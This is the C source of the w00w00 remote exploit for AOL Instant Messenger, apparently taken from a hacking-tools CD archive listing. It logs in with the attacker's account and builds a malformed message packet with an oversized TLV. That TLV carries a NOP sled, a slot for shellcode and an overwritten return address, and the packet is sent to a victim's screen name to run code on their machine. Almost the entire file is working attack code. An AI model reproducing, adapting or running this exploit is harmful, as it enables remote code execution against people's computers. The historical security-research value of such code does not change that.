home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / w00aimexp / w00aimexp.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-01-02  |  30.7 KB  |  1,050 lines

  1. /* 
  2.  * w00w00 AOL Instant Messenger exploit
  3.  * Copyright (C) 2001-2002, w00w00
  4.  * http://www.w00w00.org
  5.  * 
  6.  * This requires libfaim (which is really awesome) to
  7.  * work. The version we used can be downloaded at
  8.  * http://jgo.local.net/libfaim. This may be redistributed
  9.  * as long as this file and its copyrights are left intact.
  10.  * I provided a Makefile; You may need to check the path to
  11.  * the libfaim header files (the Makefile uses
  12.  * /usr/local/include/faim).
  13.  */
  14.  
  15. #include "w00aimexp.h"
  16. #include <sys/stat.h>
  17. #include <signal.h>
  18.  
  19. #define DATA 0x02
  20. #define SNAC_DATA 0x02
  21. #define OUTGOING_MSG 0x0006
  22. #define COOKIE 0x0000
  23. #define TIMEOUT 15 // used to verify the exploit was successful
  24.  
  25. // Shellcode stuff
  26. #define NOP_OPCODE 0x90
  27. #define MAX_EXPLOIT_SIZE 5533
  28.  
  29. // If all your shellcode can fit in < 1701 bytes, do not
  30. // define USE_FULL_SIZE. If you need more than that, then
  31. // you will either need to:
  32. // a. Put your shellcode after EIP_OFFSET (1701-1704) in
  33. //    g_exploit, or
  34. // b. Make sure your EIP address is valid, harmless opcodes
  35. //    so that can point EIP to your NOPs or shellcode earlier
  36. //    in the buffer and skip over the EIP address into the rest
  37. //    of your shellcode. If your EIP contains non-valid opcodes
  38. //    (i.e., 0xcc), the rest of your shellcode will never be
  39. //    executed.
  40.  
  41. //#define USE_FULL_SIZE // define this if your have shellcode > 1701 bytes
  42. #define EIP_OFFSET 1701 // offset into g_exploit for EIP
  43. #define SHELLCODE_ADDR 0xaabbccdd // EIP is overwritten with this address
  44.  
  45. unsigned char g_shellcode[] = {};
  46.  
  47. unsigned char *g_exploit; // this is what will actually be sent
  48. static int g_exploit_ready = 0; // ready to send the exploit
  49.  
  50. // Game request (the particular request is trivial)
  51. char g_game_request[] = // type 0x07
  52.   "aim:AddGame?name=w00w00&go1st=true&multiplayer=true&url=http://www.w00w00.org";
  53.     
  54. // TLV data
  55. char g_unknown1[2] = { 0x00, 0x01 }; // type 0x0a
  56. char g_unknown2[4] = { 0x40, 0xa3, 0x1e, 0x4f }; // type 0x03
  57. char g_unknown3[2] = { 0x14, 0x46 }; // type 0x05
  58. char g_unknown4[22] = { 0x00, 0x00, 0x02, 0x00, 0x05, 0x07, 0x4c, 0x7f, 0x11, 0xd1, 0x82, 0x22,
  59.     0x44, 0x45, 0x53, 0x54, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x09 }; // type 0x2711
  60.  
  61. static char *error_msgs[] =
  62. {
  63.   "Invalid error",
  64.   "Invalid SNAC",
  65.   "Rate to host",
  66.   "Rate to client",
  67.   "Not logged on",
  68.     "Service unavailable",
  69.   "Service not defined",
  70.   "Obsolete SNAC",
  71.   "Not supported by host",
  72.   "Not supported by client",
  73.   "Refused by client",
  74.   "Reply too big",
  75.   "Responses lost",
  76.   "Request denied",
  77.   "Busted SNAC payload",
  78.   "Insufficient rights",
  79.   "In local permit/deny",
  80.   "Too evil (sender)",
  81.   "Too evil (receiver)",
  82.   "User temporarily unavailable",
  83.   "No match",
  84.   "List overflow",
  85.   "Request ambiguous",
  86.   "Queue full",
  87.   "Not while on AOL",
  88. };
  89.  
  90. static int error_msgs_len = 25;
  91. aim_session_t g_session;
  92.  
  93. #ifdef _WIN32
  94. static int init_winsock(void);
  95. #endif
  96. static void handle_timeout(int signum);
  97. static void w00aimexp_debugcb(aim_session_t *sess, int level, const char *format, va_list va);
  98.  
  99. int main(int argc, char **argv)
  100. {
  101.     aim_frame_t *exploit_frame;
  102.     unsigned long shellcode_addr = SHELLCODE_ADDR;
  103.     char *victim_screen_name, cookie[8];
  104.     int exploit_len, tlv_len, packet_len, snac_id;
  105.     int offset, tlv_size_offset, exploit_size_offset;
  106.     
  107.     int i, status, keepgoing = 1;
  108.     aim_conn_t *waitingconn = NULL;
  109.     struct timeval tv;
  110.     time_t lastnop = 0;
  111.     struct w00aimexp_priv priv = { NULL, NULL, NULL, 0 };
  112.  
  113.     printf("w00w00 AOL Instant Messenger exploit\n");
  114.     printf("http://www.w00w00.org\n\n");
  115.     
  116.     // Do some sanity checking on the args
  117.     
  118.     if (argc < 4)
  119.     {
  120.         fprintf(stderr,    "Usage: %s <your screen name> <your password> <victim screen name> [offset]\n", argv[0]);
  121.         exit(ERROR);
  122.     }
  123.     
  124.     if (strlen(argv[1]) < 2 || strlen(argv[1]) > 32)
  125.     {
  126.         fprintf(stderr, "Error: your screen name must be between 2-32 bytes\n");
  127.         exit(ERROR);
  128.     }
  129.  
  130.     if (strlen(argv[3]) < 2 || strlen(argv[3]) > 32)
  131.     {
  132.         fprintf(stderr, "Error: the victim's screen name must be between 2-32 bytes\n");
  133.         exit(ERROR);
  134.     }
  135.     
  136.     priv.aimbinarypath = ".";
  137.     priv.screenname = argv[1];
  138.     priv.password = argv[2];
  139.     victim_screen_name = argv[3];
  140.  
  141.     if (argc > 4) shellcode_addr += atoi(argv[4]);
  142.     
  143.     ///////////////////////////////////////////////////////////////
  144.     // Do the initializations
  145.     
  146. #ifdef _WIN32
  147.     if (init_winsock() != 0)
  148.     {
  149.         dprintf("Error: could not initialize Windows sockets\n");
  150.         exit(ERROR);
  151.     }
  152. #endif /* _WIN32 */
  153.  
  154.     aim_session_init(&g_session, 0, 1);
  155.     aim_setdebuggingcb(&g_session, w00aimexp_debugcb);
  156.     g_session.aux_data = &priv;
  157.  
  158.     putchar('\n');
  159.  
  160.     if (login(&g_session, priv.screenname, priv.password) == ERROR) exit(ERROR);
  161.  
  162.     while (keepgoing)
  163.     {
  164.         if (g_exploit_ready)
  165.         {
  166.             printf("\nSigned in successfully. Sending exploit code to \"%s\"\n",
  167.                     victim_screen_name);
  168.     
  169.             ///////////////////////////////////////////////////////////
  170.             // Generate the exploit packet
  171.             
  172.             packet_len = MAX_EXPLOIT_SIZE + strlen(victim_screen_name);
  173.             exploit_frame = (aim_frame_t *)aim_tx_new(&g_session, aim_getconn_type(&g_session, 
  174.                         AIM_CONN_TYPE_BOS),    AIM_FRAMETYPE_FLAP, DATA, packet_len);
  175.  
  176.             if (!exploit_frame)
  177.             {
  178.                 fprintf(stderr, "Error: failed to allocate a packet frame\n");
  179.                 exit(ERROR);
  180.             }
  181.             
  182.             // Generate SNAC data
  183.             snac_id = aim_cachesnac(&g_session, AIM_CB_FAM_MSG, OUTGOING_MSG, 0, 
  184.                     victim_screen_name, strlen(victim_screen_name) + 1);
  185.             aim_putsnac(&exploit_frame->data, AIM_CB_FAM_MSG, OUTGOING_MSG, 0, snac_id);
  186.             
  187.             srand(time(NULL));
  188.  
  189.             // Generate a random cookie
  190.             for (i = 0; i < 8; i++) cookie[i] = (unsigned char)((rand() % 255) + 1);
  191.             aimbs_putraw(&exploit_frame->data, cookie, 8);
  192.             
  193.             // Set channel type
  194.             aimbs_put16(&exploit_frame->data, SNAC_DATA);
  195.  
  196.             // Set destination
  197.             aimbs_put8(&exploit_frame->data, strlen(victim_screen_name));
  198.             aimbs_putraw(&exploit_frame->data, victim_screen_name, strlen(victim_screen_name));
  199.             
  200.             //////////////////////////////////////////////////////////
  201.             // Setup TLV fields (this is the critical part)
  202.             
  203.             // This is the outermost TLV that contains all the others
  204.             aimbs_put16(&exploit_frame->data, 0x05); // TLV type
  205.             tlv_size_offset = exploit_frame->data.offset;
  206.             aimbs_put16(&exploit_frame->data, 0x00); // updated later
  207.             
  208.             // Add the cookie again
  209.             aimbs_put16(&exploit_frame->data, 0x00);
  210.             aimbs_putraw(&exploit_frame->data, cookie, 8);
  211.             
  212.             // Set the capability
  213.             aim_putcap(&exploit_frame->data, AIM_CAPS_SAVESTOCKS);
  214.             
  215.             // I don't know what this does
  216.             aimbs_put16(&exploit_frame->data, 0x0a); // TLV type
  217.             aimbs_put16(&exploit_frame->data, 2); // TLV length
  218.             aimbs_putraw(&exploit_frame->data, g_unknown1, 2);
  219.         
  220.             // I don't know what this does
  221.             aimbs_put16(&exploit_frame->data, 0x0f); // TLV type
  222.             aimbs_put16(&exploit_frame->data, 0); // TLV length
  223.             
  224.             // Set language
  225.             aimbs_put16(&exploit_frame->data, 0x0e); // TLV type
  226.             aimbs_put16(&exploit_frame->data, 2); // TLV length
  227.             aimbs_putraw(&exploit_frame->data, "en", 2);
  228.             
  229.             // Set charset
  230.             aimbs_put16(&exploit_frame->data, 0x0d); // TLV type
  231.             aimbs_put16(&exploit_frame->data, 8); // TLV length
  232.             aimbs_putraw(&exploit_frame->data, "us-ascii", 8);
  233.  
  234.             // I don't know what this does
  235.             aimbs_put16(&exploit_frame->data, 0x0c); // TLV type
  236.             aimbs_put16(&exploit_frame->data, 6); // TLV length
  237.             aimbs_putraw(&exploit_frame->data, "w00w00", 6);    
  238.  
  239.             // I don't know what this does
  240.             aimbs_put16(&exploit_frame->data, 0x03); // TLV type
  241.             aimbs_put16(&exploit_frame->data, 4); // TLV length
  242.             aimbs_putraw(&exploit_frame->data, g_unknown2, 4);
  243.             
  244.             // I don't know what this does
  245.             aimbs_put16(&exploit_frame->data, 0x05); // TLV type
  246.             aimbs_put16(&exploit_frame->data, 2); // TLV length
  247.             aimbs_putraw(&exploit_frame->data, g_unknown3, 2);
  248.  
  249.             // Add the game request
  250.             aimbs_put16(&exploit_frame->data, 0x07); // TLV type
  251.             aimbs_put16(&exploit_frame->data, strlen(g_game_request)); // TLV length
  252.             aimbs_putraw(&exploit_frame->data, g_game_request, strlen(g_game_request));
  253.             
  254.             //////////////////////////////////////////////////////////
  255.             // Add the exploit code
  256.             
  257.             aimbs_put16(&exploit_frame->data, 0x2711); // TLV type
  258.             exploit_size_offset = exploit_frame->data.offset;
  259.             aimbs_put16(&exploit_frame->data, 0); // to be set later
  260.             aimbs_putraw(&exploit_frame->data, g_unknown4, sizeof(g_unknown4));
  261.  
  262.             // Exploit length = total - everything before this (exploit is at the end)
  263. #ifdef USE_FULL_SIZE
  264.             exploit_len = packet_len - exploit_frame->data.offset;
  265. #else
  266.             exploit_len = EIP_OFFSET + 4; // have the shellcode stop right before EIP
  267. #endif
  268.             
  269.             // Sanity check the buffer sizes
  270.             assert(sizeof(g_shellcode) < exploit_len);
  271.                 
  272.             g_exploit = (unsigned char *)malloc(exploit_len);
  273.             if (!g_exploit)
  274.             {
  275.                 fprintf(stderr, "Error: failed to allocate %d bytes\n", exploit_len);
  276.                 exit(ERROR);
  277.             }
  278.             
  279.             // Pad buffer with NOPs to give more room for error
  280.             memset(g_exploit, NOP_OPCODE, exploit_len);
  281.             
  282. #ifdef USE_FULL_SIZE
  283.             // Put the shellcode at the end
  284.             offset = exploit_len - sizeof(g_shellcode);
  285.             memcpy(g_exploit + offset, g_shellcode, sizeof(g_shellcode));
  286. #else
  287.             // Put the shellcode towards the end
  288.             offset = exploit_len - sizeof(g_shellcode) - 4; // leave room for address
  289.             memcpy(g_exploit + offset, g_shellcode, sizeof(g_shellcode));
  290.             offset += sizeof(g_shellcode);
  291.             assert(offset == EIP_OFFSET);
  292. #endif
  293.             
  294.             // Set EIP to an address in our shellcode
  295.             *((unsigned long *)(g_exploit + EIP_OFFSET)) = shellcode_addr;
  296.             
  297.             // Add the shellcode to the end of the exploit packet
  298.             aimbs_putraw(&exploit_frame->data, g_exploit, exploit_len);
  299.             
  300.             // Update the lengths we skipped over
  301.             offset = exploit_frame->data.offset - tlv_size_offset - 2;
  302.             aimutil_put16(exploit_frame->data.data + tlv_size_offset, offset);
  303.             aimutil_put16(exploit_frame->data.data + exploit_size_offset, exploit_len + sizeof(g_unknown4));
  304.             
  305.             // Shrink the packet size to avoid wasted bytes
  306.             packet_len = exploit_frame->data.len = exploit_frame->data.offset;
  307.  
  308.             printf("\nSize of exploit packet: %d bytes\n", packet_len);
  309.             printf("Shellcode size: %d\n", sizeof(g_shellcode));
  310. #ifdef USE_FULL_SIZE
  311.             printf("Room left for NOPs: %d\n", exploit_len - sizeof(g_shellcode));
  312. #else
  313.             printf("Room left for NOPs: %d\n", exploit_len - sizeof(g_shellcode) - 4);
  314. #endif
  315.             printf("Using address 0x%.8lx\n", shellcode_addr);
  316.             putchar('\n');
  317.  
  318. #if 0
  319.             // I output this to stderr rather than stdout so that it can be
  320.             // output separately from everything else
  321.             
  322.             fprintf(stderr, "Data about to be sent (excluding FLAP header):\n");
  323.             for (i = 0; i < packet_len; i++)
  324.             {
  325.                 fprintf(stderr, "\\x%.2x", exploit_frame->data.data[i]);
  326.                 if (!((i + 1) % 15)) fprintf(stderr, "\n");
  327.             }
  328.             fprintf(stderr, "\n");
  329.  
  330.             sleep(5);
  331. #endif
  332.  
  333.             // Queue exploit frame to be sent and wait for response
  334.             aim_tx_enqueue(&g_session, exploit_frame);
  335.             g_exploit_ready = 0;
  336.             signal(SIGALRM, handle_timeout);
  337.             alarm(TIMEOUT);
  338.             
  339.             printf("The exploit has been sent. Waiting %d seconds for confirmation of success\n", TIMEOUT);
  340.         }
  341.         
  342.         tv.tv_sec = 5, tv.tv_usec = 0; // set a 5 second timeout
  343.         waitingconn = aim_select(&g_session, &tv, &status);
  344.         
  345.         if (priv.connected && ((time(NULL) - lastnop) > 30))
  346.         {
  347.             lastnop = time(NULL);
  348.             aim_flap_nop(&g_session, aim_getconn_type(&g_session, AIM_CONN_TYPE_BOS));
  349.         }
  350.  
  351.         if (status == ERROR)
  352.         { /* error */
  353.             keepgoing = 0; /* fall through */
  354.         }
  355.         else if (status == 0)
  356.         {
  357.              /* no events pending */
  358.         }
  359.         else if (status == 1)
  360.         { 
  361.             /* outgoing data pending */
  362.             aim_tx_flushqueue(&g_session);
  363.         } 
  364.         else if (status == 2)
  365.         { 
  366.             if (waitingconn->type == AIM_CONN_TYPE_RENDEZVOUS_OUT)
  367.             {
  368.                 if (aim_handlerendconnect(&g_session, waitingconn) < 0)
  369.                 {
  370.                     fprintf(stderr, "Connection error (rend out)\n");
  371.                     aim_conn_kill(&g_session, &waitingconn);
  372.                 }
  373.             }
  374.             else
  375.             {
  376.                 if (aim_get_command(&g_session, waitingconn) >= 0)
  377.                 {
  378.                     aim_rxdispatch(&g_session);
  379.                 }
  380.                 else
  381.                 {
  382.                     fprintf(stderr, "Connection error (type 0x%04x:0x%04x)\n", waitingconn->type, waitingconn->subtype);
  383.                     
  384.                     /* we should have callbacks for all these, else the library will do the conn_kill for us. */
  385.                     if (waitingconn->type == AIM_CONN_TYPE_RENDEZVOUS)
  386.                     {
  387.                         if (waitingconn->subtype == AIM_CONN_SUBTYPE_OFT_DIRECTIM)
  388.                         {
  389.                             fprintf(stderr, "Disconnected from %s\n", aim_directim_getsn(waitingconn));
  390.                         }
  391.                         
  392.                         aim_conn_kill(&g_session, &waitingconn);
  393.                     }
  394.                     else
  395.                     {
  396.                         aim_conn_kill(&g_session, &waitingconn);
  397.                     }
  398.                     
  399.                     if (!aim_getconn_type(&g_session, AIM_CONN_TYPE_BOS))
  400.                     {
  401.                         fprintf(stderr, "Major connection error\n");
  402.                         exit(ERROR);
  403.                     }
  404.                 }
  405.             }
  406.         }
  407.     }
  408.  
  409.     assert(0); // this should never be reached
  410. }
  411.  
  412. #ifdef _WIN32
  413. /*
  414.  * This is really all thats needed to link against libfaim on win32.
  415.  *
  416.  * Note that this particular version of w00aimexp has never been tested
  417.  * on win32, but I'm fairly sure it should work.
  418.  */
  419. static int init_winsock(void)
  420. {
  421.     WORD wVersionRequested;
  422.     WSADATA wsaData;
  423.  
  424.     wVersionRequested = MAKEWORD(2,2);
  425.     return WSAStartup(wVersionRequested, &wsaData);
  426. }
  427. #endif
  428.  
  429. // 
  430. static void handle_timeout(int signum)
  431. {
  432.     printf("\nNo confirmation that the exploit worked. Check manually.\n");
  433.     free(g_exploit);
  434.     aim_session_kill(&g_session);
  435.     exit(0);
  436. }
  437.  
  438. /* 
  439.  * This is used to intercept debugging/diagnostic messages from libfaim.
  440.  *
  441.  * Note that you should have one of these even if you use a debuglevel of
  442.  * zero, as libfaim will send serious errors to stderr by default.
  443.  *
  444.  */
  445. static void w00aimexp_debugcb(aim_session_t *sess, int level, const char *format, va_list va)
  446. {
  447. #ifdef DEBUG_LIBFAIM
  448.     //printf("[libfaim] "); // TODO: remove
  449.     vprintf(format, va);
  450. #endif
  451. }
  452.  
  453. /*
  454.  * This is a frivilous callback. You don't need it. I only used it for
  455.  * debugging non-blocking connects.
  456.  *
  457.  * If packets are sent to a conn before its fully connected, they
  458.  * will be queued and then transmitted when the connection completes.
  459.  *
  460.  */
  461. int w00aimexp_conncomplete(aim_session_t *sess, aim_frame_t *fr, ...)
  462. {
  463.     va_list ap;
  464.     aim_conn_t *conn;
  465.  
  466.     va_start(ap, fr);
  467.     conn = va_arg(ap, aim_conn_t *);
  468.     va_end(ap);
  469.  
  470.     if (conn)
  471.     {
  472.         dvprintf("Connection completed on socket %d (type %d)\n",
  473.                 conn->fd, conn->type);
  474.     }
  475.     return 1;
  476. }
  477.  
  478. int w00aimexp_serverready(aim_session_t *sess, aim_frame_t *fr, ...)
  479. {
  480.     int famcount, i;
  481.     fu16_t *families;
  482.     va_list ap;
  483.  
  484.     va_start(ap, fr);
  485.     famcount = va_arg(ap, int);
  486.     families = va_arg(ap, fu16_t *);
  487.     va_end(ap);
  488.  
  489. #if 0
  490.     dvprintf("SNAC families supported by this host (type %d): ", fr->conn->type);
  491.     for (i = 0; i < famcount; i++) dvinlineprintf("0x%04x ", families[i]);
  492.     dinlineprintf("\n");
  493. #endif
  494.     
  495.     if (fr->conn->type == AIM_CONN_TYPE_AUTH)
  496.     {
  497.         aim_auth_setversions(sess, fr->conn);
  498.         aim_bos_reqrate(sess, fr->conn); /* request rate info */
  499.         dprintf("Done with authenication server ready\n");
  500.     }
  501.     else if (fr->conn->type == AIM_CONN_TYPE_BOS)
  502.     {
  503.         aim_setversions(sess, fr->conn);
  504.         aim_bos_reqrate(sess, fr->conn); /* request rate info */
  505.         dprintf("Done with BOS server ready\n");
  506.     }
  507.  
  508.     return 1;
  509. }
  510.  
  511. static int w00aimexp_parse_clienterr(aim_session_t *sess, aim_frame_t *fr, ...)
  512. {
  513.     va_list ap;
  514.     fu16_t error_code;
  515.     char *msg;
  516.  
  517.     va_start(ap, fr);
  518.     error_code = va_arg(ap, int);
  519.     msg = va_arg(ap, char *);
  520.     va_end(ap);
  521.     
  522.     if (error_code == 0x02)
  523.     {
  524.         printf("Exploit appears successful. w00w00!\n");
  525.         alarm(0);
  526.     }
  527.     else
  528.     {
  529.         fprintf(stderr, "Error: error with \"%s\" (error code 0x%.2x)\n", msg, error_code);
  530.     }
  531.  
  532.     free(g_exploit);
  533.     aim_session_kill(&g_session);
  534.     exit(0);
  535. }
  536.  
  537. int w00aimexp_parse_connerr(aim_session_t *sess, aim_frame_t *fr, ...)
  538. {
  539.     struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
  540.     va_list ap;
  541.     fu16_t error_code;
  542.     char *msg;
  543.  
  544.     va_start(ap, fr);
  545.     error_code = va_arg(ap, int);
  546.     msg = va_arg(ap, char *);
  547.     va_end(ap);
  548.  
  549.     fprintf(stderr, "Connection error (error code = 0x%04x): %s\n", error_code, msg);
  550.     aim_conn_kill(sess, &fr->conn); /* this will break the main loop */
  551.  
  552.     priv->connected = 0;
  553.     exit(ERROR);
  554. }
  555.  
  556. static int w00aimexp_rateresp_bos(aim_session_t *sess, aim_frame_t *fr, ...)
  557. {
  558.     struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
  559.     char buddies[128]; /* this is the new buddy list */
  560.     char profile[256]; /* this is the new profile */ 
  561.     char awaymsg[] = { "w00w00 AOL Instant Messenger exploit" };
  562.  
  563.     snprintf(profile, sizeof(profile), "w00w00 AOL Instant Messenger exploit");
  564.  
  565.     aim_bos_ackrateresp(sess, fr->conn);  /* ack rate info response */
  566.     aim_bos_reqpersonalinfo(sess, fr->conn);
  567.     aim_bos_reqlocaterights(sess, fr->conn);
  568.     aim_bos_setprofile(sess, fr->conn, profile, awaymsg, AIM_CAPS_SAVESTOCKS);
  569.     aim_bos_reqbuddyrights(sess, fr->conn);
  570.  
  571.     /* send the buddy list and profile (required, even if empty) */
  572.     aim_bos_setbuddylist(sess, fr->conn, buddies);
  573.  
  574.     aim_reqicbmparams(sess, fr->conn);  
  575.     aim_bos_reqrights(sess, fr->conn);  
  576.     
  577.     /* set group permissions -- all user classes */
  578.     aim_bos_setgroupperm(sess, fr->conn, AIM_FLAG_ALLUSERS);
  579.     aim_bos_setprivacyflags(sess, fr->conn, AIM_PRIVFLAGS_ALLOWIDLE);
  580.  
  581.     // Now that our capabilities have been sent, start the exploit
  582.     //g_exploit_ready = 1;
  583.     
  584.     return 1;
  585. }
  586.  
  587. static int w00aimexp_icbmparaminfo(aim_session_t *sess, aim_frame_t *fr, ...)
  588. {
  589.     struct aim_icbmparameters *params;
  590.     va_list ap;
  591.  
  592.     va_start(ap, fr);
  593.     params = va_arg(ap, struct aim_icbmparameters *);
  594.     va_end(ap);
  595.  
  596. #if 0
  597.     dvprintf("ICBM parameters (maxchannel = %d, default flags = 0x%08lx, max msg len = %d, "
  598.             "max sender evil = %f, max reciever evil = %f, min msg interval = %ld)\n",
  599.             params->maxchan, params->flags, params->maxmsglen, ((float)params->maxsenderwarn) / 10.0,
  600.             ((float)params->maxrecverwarn) / 10.0, params->minmsginterval);
  601. #endif
  602.     
  603.     /*
  604.      * Set these to your taste, or client medium.  Setting minmsginterval
  605.      * higher is good for keeping yourself from getting flooded (esp
  606.      * if you're on a slow connection or something where that would be
  607.      * useful).
  608.      */
  609.     params->maxmsglen = 8000;
  610.     params->minmsginterval = 0; /* in milliseconds */
  611.  
  612.     aim_seticbmparam(sess, fr->conn, params);
  613.     return 1;
  614. }
  615.  
  616. static int w00aimexp_hostversions(aim_session_t *sess, aim_frame_t *fr, ...)
  617. {
  618.     int vercount, i;
  619.     fu8_t *versions;
  620.     va_list ap;
  621.  
  622.     va_start(ap, fr);
  623.     vercount = va_arg(ap, int); /* number of family/version pairs */
  624.     versions = va_arg(ap, fu8_t *);
  625.     va_end(ap);
  626.  
  627. #if 0
  628.     dprintf("SNAC versions supported by this host: ");
  629.     for (i = 0; i < vercount*4; i += 4)
  630.     {
  631.         dvinlineprintf("0x%04x:0x%04x ", 
  632.             aimutil_get16(versions+i),  /* SNAC family */
  633.             aimutil_get16(versions+i+2) /* Version number */);
  634.     }
  635.     dinlineprintf("\n");
  636. #endif
  637.  
  638.     return 1;
  639. }
  640.  
  641. static int w00aimexp_parse_buddyrights(aim_session_t *sess, aim_frame_t *fr, ...)
  642. {
  643.     va_list ap;
  644.     fu16_t maxbuddies, maxwatchers;
  645.  
  646.     va_start(ap, fr);
  647.     maxbuddies = va_arg(ap, int);
  648.     maxwatchers = va_arg(ap, int);
  649.     va_end(ap);
  650.  
  651.     //dvprintf("Buddy list rights (max buddies = %d, max watchers = %d)\n", maxbuddies, maxwatchers);
  652.     return 1;
  653. }
  654.  
  655. static int w00aimexp_bosrights(aim_session_t *sess, aim_frame_t *fr, ...)
  656. {
  657.     va_list ap;
  658.     fu16_t maxpermits, maxdenies;
  659.  
  660.     va_start(ap, fr);
  661.     maxpermits = va_arg(ap, int);
  662.     maxdenies = va_arg(ap, int);
  663.     va_end(ap);
  664.  
  665.     //dvprintf("BOS rights (max permit = %d, max deny = %d)\n", maxpermits, maxdenies);
  666.     aim_bos_clientready(sess, fr->conn);
  667.     dprintf("Connected to BOS\n");
  668.  
  669.     return 1;
  670. }
  671.  
  672. static int w00aimexp_locrights(aim_session_t *sess, aim_frame_t *fr, ...)
  673. {
  674.     va_list ap;
  675.     fu16_t maxsiglen;
  676.  
  677.     va_start(ap, fr);
  678.     maxsiglen = va_arg(ap, int);
  679.     va_end(ap);
  680.  
  681.     //dvprintf("Locate rights (max signature length = %d)\n", maxsiglen);
  682.     return 1;
  683. }
  684.  
  685. static int w00aimexp_reportinterval(aim_session_t *sess, aim_frame_t *fr, ...)
  686. {
  687.     struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
  688.     va_list ap;
  689.     fu16_t interval;
  690.  
  691.     va_start(ap, fr);
  692.     interval = va_arg(ap, int);
  693.     va_end(ap);
  694.  
  695.     //dvprintf("Minimum report interval (%d seconds)\n", interval);
  696.  
  697.     if (!priv->connected) priv->connected++;
  698.     aim_reqicbmparams(sess, fr->conn);
  699.     
  700.     g_exploit_ready = 1;
  701.     return 1;
  702. }
  703.  
  704. static void printuserflags(fu16_t flags)
  705. {
  706.     if (flags & AIM_FLAG_UNCONFIRMED) dinlineprintf("UNCONFIRMED ");
  707.     if (flags & AIM_FLAG_ADMINISTRATOR) dinlineprintf("ADMINISTRATOR ");
  708.     if (flags & AIM_FLAG_AOL) dinlineprintf("AOL ");
  709.     if (flags & AIM_FLAG_OSCAR_PAY) dinlineprintf("OSCAR_PAY ");
  710.     if (flags & AIM_FLAG_FREE) dinlineprintf("FREE ");
  711.     if (flags & AIM_FLAG_AWAY) dinlineprintf("AWAY ");
  712.     if (flags & AIM_FLAG_UNKNOWN40) dinlineprintf("ICQ? ");
  713.     if (flags & AIM_FLAG_UNKNOWN80) dinlineprintf("UNKNOWN80 ");
  714.     return;
  715. }
  716.  
  717. /*
  718.  * Channel 1: Standard Message
  719.  */
  720. static int w00aimexp_parse_incoming_im_chan1(aim_session_t *sess, aim_conn_t *conn, struct aim_userinfo_s *userinfo, struct aim_incomingim_ch1_args *args)
  721. {
  722.     struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
  723.     char *tmpstr;
  724.     int clienttype = AIM_CLIENTTYPE_UNKNOWN;
  725.     char realmsg[8192+1] = {""};
  726.  
  727.     clienttype = aim_fingerprintclient(args->features, args->featureslen);
  728.  
  729.     dvprintf("Incoming message: screen name = \"%s\", client type = %d, warn level = %d\n",
  730.             userinfo->sn, clienttype, userinfo->warnlevel);
  731.     dvprintf("Flags = 0x%04x [ ", userinfo->flags);
  732.     printuserflags(userinfo->flags);
  733.     dinlineprintf("]\n");
  734.  
  735.     dvprintf("Member since %lu, online since = %lu, idletime = 0x%04x, capabilities = 0x%04x\n",
  736.             userinfo->membersince, userinfo->onlinesince, userinfo->idletime, userinfo->capabilities);
  737.  
  738.     dprintf("Flags 2 = [ ");
  739.     if (args->icbmflags & AIM_IMFLAGS_AWAY) dinlineprintf("away ");
  740.     if (args->icbmflags & AIM_IMFLAGS_ACK) dinlineprintf("ackrequest ");
  741.     if (args->icbmflags & AIM_IMFLAGS_BUDDYREQ) dinlineprintf("buddyreq ");
  742.     if (args->icbmflags & AIM_IMFLAGS_HASICON) dinlineprintf("hasicon ");
  743.     dinlineprintf("]\n");
  744.  
  745.     if (args->icbmflags & AIM_IMFLAGS_CUSTOMCHARSET)
  746.     {
  747.         dvprintf("Encoding flags: character set = %04x, character subset = %04x\n", args->charset, args->charsubset);
  748.     }
  749.  
  750.     /*
  751.      * Quickly convert it to eight bit format, replacing non-ASCII UNICODE 
  752.      * characters with their equivelent HTML entity.
  753.      */
  754.     if (args->icbmflags & AIM_IMFLAGS_UNICODE)
  755.     {
  756.         int i;
  757.  
  758.         for (i = 0; i < args->msglen; i += 2)
  759.         {
  760.             fu16_t uni;
  761.  
  762.             uni = ((args->msg[i] & 0xff) << 8) | (args->msg[i+1] & 0xff);
  763.  
  764.             if ((uni < 128) || ((uni >= 160) && (uni <= 255))) { /* ISO 8859-1 */
  765.  
  766.                 snprintf(realmsg+strlen(realmsg), sizeof(realmsg)-strlen(realmsg), "%c", uni);
  767.  
  768.             }
  769.             else
  770.             { 
  771.                 /* something else, do UNICODE entity */
  772.                 snprintf(realmsg+strlen(realmsg), sizeof(realmsg)-strlen(realmsg), "&#%04x;", uni);
  773.             }
  774.         }
  775.     }
  776.     
  777.     else
  778.     {
  779.         /*
  780.          * For non-UNICODE encodings (ASCII and ISO 8859-1), there is 
  781.          * no need to do anything special here.  Most 
  782.          * terminals/whatever will be able to display such characters 
  783.          * unmodified.
  784.          *
  785.          * Beware that PC-ASCII 128 through 159 are _not_ actually 
  786.          * defined in ASCII or ISO 8859-1, and you should send them as 
  787.          * UNICODE.  WinAIM will send these characters in a UNICODE 
  788.          * message, so you need to do so as well.
  789.          *
  790.          * You may not think it necessary to handle UNICODE messages.  
  791.          * You're probably wrong.  For one thing, Microsoft "Smart
  792.          * Quotes" will be sent by WinAIM as UNICODE (not HTML UNICODE,
  793.          * but real UNICODE). If you don't parse UNICODE at all, your 
  794.          * users will get a blank message instead of the message 
  795.          * containing Smart Quotes.
  796.          *
  797.          */
  798.         strncpy(realmsg, args->msg, sizeof(realmsg));
  799.     }
  800.  
  801.     dvprintf("Message: %s\n", realmsg);
  802.  
  803.     if (args->icbmflags & AIM_IMFLAGS_MULTIPART)
  804.     {
  805.         aim_mpmsg_section_t *sec;
  806.         int z;
  807.  
  808.         dvprintf("This message has %d part(s)\n", args->mpmsg.numparts);
  809.  
  810.         for (sec = args->mpmsg.parts, z = 0; sec; sec = sec->next, z++)
  811.         {
  812.             if ((sec->charset == 0x0000) || (sec->charset == 0x0003) || (sec->charset == 0xffff))
  813.             {
  814.                 dvprintf("Part %d (charset 0x%04x, subset 0x%04x): %s\n", z+1, sec->charset, sec->charsubset, sec->data);
  815.             }
  816.             else
  817.             {
  818.                 dvprintf("Part %d (charset 0x%04x, subset 0x%04x, binary/unicode)\n", z+1, sec->charset, sec->charsubset);
  819.             }
  820.         }
  821.     }
  822.  
  823.     return 1;
  824. }
